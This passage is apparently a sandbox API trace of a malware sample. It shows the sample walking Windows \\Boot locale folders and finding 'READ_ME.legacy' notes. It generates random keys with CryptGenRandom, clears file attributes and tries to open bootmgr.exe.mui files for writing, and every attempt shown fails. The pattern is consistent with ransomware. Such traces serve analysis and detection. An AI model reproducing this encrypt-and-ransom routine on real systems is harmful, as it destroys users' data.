returned 1 [0109.345] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c1028 | out: pbBuffer=0x5c1028) returned 1 [0109.345] SetFileAttributesW (lpFileName="\\Boot\\ru-RU\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0109.345] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782a8 [0109.346] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0109.346] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782a8 | out: hHeap=0x520000) returned 1 [0109.346] CreateFileW (lpFileName="\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.346] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0109.346] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0109.346] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578800 | out: hHeap=0x520000) returned 1 [0109.346] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d6b8 [0109.346] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7d0 | out: hHeap=0x520000) returned 1 [0109.346] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5639d8 | out: hHeap=0x520000) returned 1 [0109.346] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563b90 | out: hHeap=0x520000) returned 1 [0109.346] FindFirstFileW (in: lpFileName="\\Boot\\sk-SK\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc1c22051, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a0328 [0109.346] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0109.347] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0109.347] GetLastError () returned 0x5 [0109.347] SetLastError (dwErrCode=0x5) [0109.347] GetLastError () returned 0x5 [0109.347] SetLastError (dwErrCode=0x5) [0109.347] GetLastError () returned 0x5 [0109.347] SetLastError (dwErrCode=0x5) [0109.347] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5671f8 [0109.347] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d870 [0109.347] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0109.347] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7d0 [0109.347] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0768 [0109.347] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0768 | out: hHeap=0x520000) returned 1 [0109.347] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20348 [0109.347] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20348 | out: hHeap=0x520000) returned 1 [0109.347] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7d0 | out: hHeap=0x520000) returned 1 [0109.347] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5671f8 | out: hHeap=0x520000) returned 1 [0109.347] FindNextFileW (in: hFindFile=0x5a0328, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc1c22051, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0109.347] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0109.347] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5783c8 [0109.347] GetLastError () returned 0x5 [0109.347] SetLastError (dwErrCode=0x5) [0109.348] GetLastError () returned 0x5 [0109.348] SetLastError (dwErrCode=0x5) [0109.348] GetLastError () returned 0x5 [0109.348] SetLastError (dwErrCode=0x5) [0109.348] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566cf0 [0109.348] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d920 [0109.348] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d920 | out: hHeap=0x520000) returned 1 [0109.348] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d6e0 [0109.348] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a03e8 [0109.348] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a03e8 | out: hHeap=0x520000) returned 1 [0109.348] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20288 [0109.348] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20288 | out: hHeap=0x520000) returned 1 [0109.348] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6e0 | out: hHeap=0x520000) returned 1 [0109.348] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566cf0 | out: hHeap=0x520000) returned 1 [0109.348] FindNextFileW (in: hFindFile=0x5a0328, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0109.348] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0109.348] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0109.348] GetLastError () returned 0x5 [0109.348] SetLastError (dwErrCode=0x5) [0109.348] GetLastError () returned 0x5 [0109.348] SetLastError (dwErrCode=0x5) [0109.348] GetLastError () returned 0x5 [0109.348] SetLastError (dwErrCode=0x5) [0109.348] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d780 [0109.348] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d780 | out: hHeap=0x520000) returned 1 [0109.349] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0109.349] FindNextFileW (in: hFindFile=0x5a0328, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c22051, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1c22051, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1c22051, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0109.349] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0109.349] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578728 [0109.349] GetLastError () returned 0x5 [0109.349] SetLastError (dwErrCode=0x5) [0109.349] GetLastError () returned 0x5 [0109.349] SetLastError (dwErrCode=0x5) [0109.349] GetLastError () returned 0x5 [0109.349] SetLastError (dwErrCode=0x5) [0109.349] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7d0 [0109.349] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7d0 | out: hHeap=0x520000) returned 1 [0109.349] FindNextFileW (in: hFindFile=0x5a0328, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c22051, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1c22051, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1c22051, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0109.349] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578650 [0109.349] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c14c0 [0109.349] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c10d8 [0109.349] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c14c0 | out: pbBuffer=0x5c14c0) returned 1 [0109.349] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c10d8 | out: pbBuffer=0x5c10d8) returned 1 [0109.349] SetFileAttributesW (lpFileName="\\Boot\\sk-SK\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0109.349] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578218 [0109.350] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0109.350] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578218 | out: hHeap=0x520000) returned 1 [0109.350] CreateFileW (lpFileName="\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.350] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0109.350] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578650 | out: hHeap=0x520000) returned 1 [0109.350] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0109.350] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d668 [0109.350] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6b8 | out: hHeap=0x520000) returned 1 [0109.350] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563a00 | out: hHeap=0x520000) returned 1 [0109.350] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563960 | out: hHeap=0x520000) returned 1 [0109.350] FindFirstFileW (in: lpFileName="\\Boot\\sl-SI\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc1c22051, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a00e8 [0109.350] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578728 | out: hHeap=0x520000) returned 1 [0109.350] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578608 [0109.350] GetLastError () returned 0x5 [0109.350] SetLastError (dwErrCode=0x5) [0109.350] GetLastError () returned 0x5 [0109.350] SetLastError (dwErrCode=0x5) [0109.350] GetLastError () returned 0x5 [0109.351] SetLastError (dwErrCode=0x5) [0109.351] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c48 [0109.351] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d8c8 [0109.351] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d8c8 | out: hHeap=0x520000) returned 1 [0109.351] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d690 [0109.351] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0768 [0109.351] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0768 | out: hHeap=0x520000) returned 1 [0109.351] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20258 [0109.351] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20258 | out: hHeap=0x520000) returned 1 [0109.351] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d690 | out: hHeap=0x520000) returned 1 [0109.351] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c48 | out: hHeap=0x520000) returned 1 [0109.351] FindNextFileW (in: hFindFile=0x5a00e8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc1c22051, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0109.351] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578608 | out: hHeap=0x520000) returned 1 [0109.351] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0109.351] GetLastError () returned 0x5 [0109.351] SetLastError (dwErrCode=0x5) [0109.351] GetLastError () returned 0x5 [0109.351] SetLastError (dwErrCode=0x5) [0109.351] GetLastError () returned 0x5 [0109.351] SetLastError (dwErrCode=0x5) [0109.351] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566f90 [0109.351] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d450 [0109.351] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0109.351] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d730 [0109.352] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a03e8 [0109.352] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a03e8 | out: hHeap=0x520000) returned 1 [0109.352] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20240 [0109.352] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20240 | out: hHeap=0x520000) returned 1 [0109.352] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0109.352] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566f90 | out: hHeap=0x520000) returned 1 [0109.352] FindNextFileW (in: hFindFile=0x5a00e8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0109.352] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0109.352] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0109.352] GetLastError () returned 0x5 [0109.352] SetLastError (dwErrCode=0x5) [0109.352] GetLastError () returned 0x5 [0109.352] SetLastError (dwErrCode=0x5) [0109.352] GetLastError () returned 0x5 [0109.352] SetLastError (dwErrCode=0x5) [0109.352] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8e8 [0109.352] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8e8 | out: hHeap=0x520000) returned 1 [0109.352] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0109.352] FindNextFileW (in: hFindFile=0x5a00e8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c22051, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1c22051, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1c22051, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0109.352] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0109.352] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0109.352] GetLastError () returned 0x5 [0109.352] SetLastError (dwErrCode=0x5) [0109.352] GetLastError () returned 0x5 [0109.352] SetLastError (dwErrCode=0x5) [0109.353] GetLastError () returned 0x5 [0109.353] SetLastError (dwErrCode=0x5) [0109.353] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d730 [0109.353] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0109.353] FindNextFileW (in: hFindFile=0x5a00e8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c22051, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1c22051, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1c22051, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0109.353] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0109.353] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c16d0 [0109.353] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c10c8 [0109.353] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c16d0 | out: pbBuffer=0x5c16d0) returned 1 [0109.353] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c10c8 | out: pbBuffer=0x5c10c8) returned 1 [0109.353] SetFileAttributesW (lpFileName="\\Boot\\sl-SI\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0109.353] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578410 [0109.353] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0109.353] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578410 | out: hHeap=0x520000) returned 1 [0109.353] CreateFileW (lpFileName="\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.354] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0109.354] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0109.354] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0109.354] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567150 [0109.354] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d668 | out: hHeap=0x520000) returned 1 [0109.354] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567310 | out: hHeap=0x520000) returned 1 [0109.354] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563d98 | out: hHeap=0x520000) returned 1 [0109.354] FindFirstFileW (in: lpFileName="\\Boot\\sr-Latn-CS\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xc1c22051, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a0468 [0109.354] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0109.354] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0109.354] GetLastError () returned 0x5 [0109.354] SetLastError (dwErrCode=0x5) [0109.354] GetLastError () returned 0x5 [0109.354] SetLastError (dwErrCode=0x5) [0109.354] GetLastError () returned 0x5 [0109.354] SetLastError (dwErrCode=0x5) [0109.354] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567310 [0109.354] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d450 [0109.354] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0109.354] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d848 [0109.354] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a04a8 [0109.355] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a04a8 | out: hHeap=0x520000) returned 1 [0109.355] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20228 [0109.355] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20228 | out: hHeap=0x520000) returned 1 [0109.355] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d848 | out: hHeap=0x520000) returned 1 [0109.355] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567310 | out: hHeap=0x520000) returned 1 [0109.355] FindNextFileW (in: hFindFile=0x5a0468, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xc1c22051, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0109.355] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0109.355] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578410 [0109.355] GetLastError () returned 0x5 [0109.355] SetLastError (dwErrCode=0x5) [0109.355] GetLastError () returned 0x5 [0109.355] SetLastError (dwErrCode=0x5) [0109.355] GetLastError () returned 0x5 [0109.355] SetLastError (dwErrCode=0x5) [0109.355] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567310 [0109.355] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56da28 [0109.355] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56da28 | out: hHeap=0x520000) returned 1 [0109.355] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d848 [0109.355] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a03e8 [0109.355] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a03e8 | out: hHeap=0x520000) returned 1 [0109.355] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20078 [0109.355] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20078 | out: hHeap=0x520000) returned 1 [0109.355] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d848 | out: hHeap=0x520000) returned 1 [0109.356] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567310 | out: hHeap=0x520000) returned 1 [0109.356] FindNextFileW (in: hFindFile=0x5a0468, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0109.356] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578410 | out: hHeap=0x520000) returned 1 [0109.356] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578608 [0109.356] GetLastError () returned 0x5 [0109.356] SetLastError (dwErrCode=0x5) [0109.356] GetLastError () returned 0x5 [0109.356] SetLastError (dwErrCode=0x5) [0109.356] GetLastError () returned 0x5 [0109.356] SetLastError (dwErrCode=0x5) [0109.356] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8c0 [0109.356] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8c0 | out: hHeap=0x520000) returned 1 [0109.357] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d2f0 [0109.357] FindNextFileW (in: hFindFile=0x5a0468, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe318f070, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xaf58, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0109.357] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578608 | out: hHeap=0x520000) returned 1 [0109.357] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0109.357] GetLastError () returned 0x5 [0109.357] SetLastError (dwErrCode=0x5) [0109.357] GetLastError () returned 0x5 [0109.357] SetLastError (dwErrCode=0x5) [0109.357] GetLastError () returned 0x5 